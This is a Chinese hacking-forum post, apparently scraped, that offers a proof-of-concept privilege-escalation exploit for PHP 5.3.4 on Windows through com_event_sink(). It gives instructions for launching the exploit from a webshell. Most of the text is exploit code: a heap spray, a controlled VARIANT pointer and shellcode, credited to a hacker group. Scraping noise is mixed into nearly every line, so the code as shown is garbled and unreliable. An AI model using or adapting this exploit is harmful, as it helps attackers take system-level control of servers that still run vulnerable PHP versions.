|
|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
2 X3 o* f) @4 {9 D* _/ S7 @ s$ F) _; [5 s) Z* j
测试方法如下:cmd /c x:\php\php.exe x:\test.php6 [2 K$ \+ r! m* J
% |' }9 o, u' X1 v
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php' Z1 ^% Z4 H$ y S+ h
这里是两个测试的截图:
0 I+ |* ]9 X3 {
/ b; K/ f7 a" P. h! z. D' d
( s% m6 j" M0 Y2 [! u# J& ?$ h) \- J0 g/ s8 r
X8 t, I1 f. i% M/ K- l' _9 K1 d$ d- N$ m& S, R6 H0 g6 r
成功利用此漏洞的攻击者将获得系统的最高权限9 E: `3 I8 s( l. h8 n' ^
5 Z% t3 i& l6 c! B/ w1 L* V6 t# b% m9 }
; h. {; r% m5 W4 C5 S& A
) L1 _7 Y! c2 c% ^) w
. |4 a% B) a4 C# c8 n3 t2 p关于漏洞分析稍后附上。一下是PoC代码:# |5 B' j9 g9 `% y/ T: C8 L
; E9 T& V' G6 @<?php
% W6 S0 I( p! V- q o# a//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞6 ?+ M. s) _/ Z! [2 M
//$eip ="\x44\x43\x42\x41";9 c5 v% U: W5 g9 w2 O; `
$eip= "\x4b\xe8\x57\x78";5 U' A+ Z, U) `/ M# ?+ i
$eax ="\x80\x01\x8d\x04";7 ~6 V9 C# i% W2 z
$deodrant="";
: e: J( C7 ?" p$axespray = str_repeat($eip.$eax,0x80);
# h* F! ?6 `( a4 y//048d0190
& |3 B X" O: C( |) cecho strlen($axespray);
) w( [2 V7 ?0 h$ p2 a* becho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";$ ?, P6 w' O6 V8 F5 P
echo "Silic Group Hacker Army - BlackBap.Org";5 G# }' b" \$ t8 H: @: f
//19200 ==4B32 4b00
$ d* M# }+ |2 I7 S/ a* o! ^for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}+ \1 h0 x! S' K2 A. Q
$terminate = "T";
8 Q7 ]% l& v) |* y8 C! |0 A- f$u[] =$deodrant;
w& g; V" X5 K! T6 O9 U$r[] =$deodrant.$terminate;
0 a! l4 U1 ?) i9 q$ h$a[] =$deodrant.$terminate;9 i- H8 z& G: Q g! b6 ], r* Z6 N
$s[] =$deodrant.$terminate;- p- i& h3 S0 l/ O6 d6 O
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
2 L) ~6 Q; ?+ b$ o/ p! i3 }- F: j$vVar = new VARIANT(0x048d0000+180);
, y: N/ s8 k! s* U//弹窗代码(Shellcode)3 p) k p! U. M5 N
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
/ d0 C# E+ q- C: [" C( |+ W$var2 = new VARIANT(0x41414242);1 Z; X6 y/ f& ~9 u6 C2 X6 U" ~
com_event_sink($vVar,$var2,$buffer);5 h3 T$ d/ H q/ E/ d' G
?>& @: v# ]) @+ h' N( { @
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|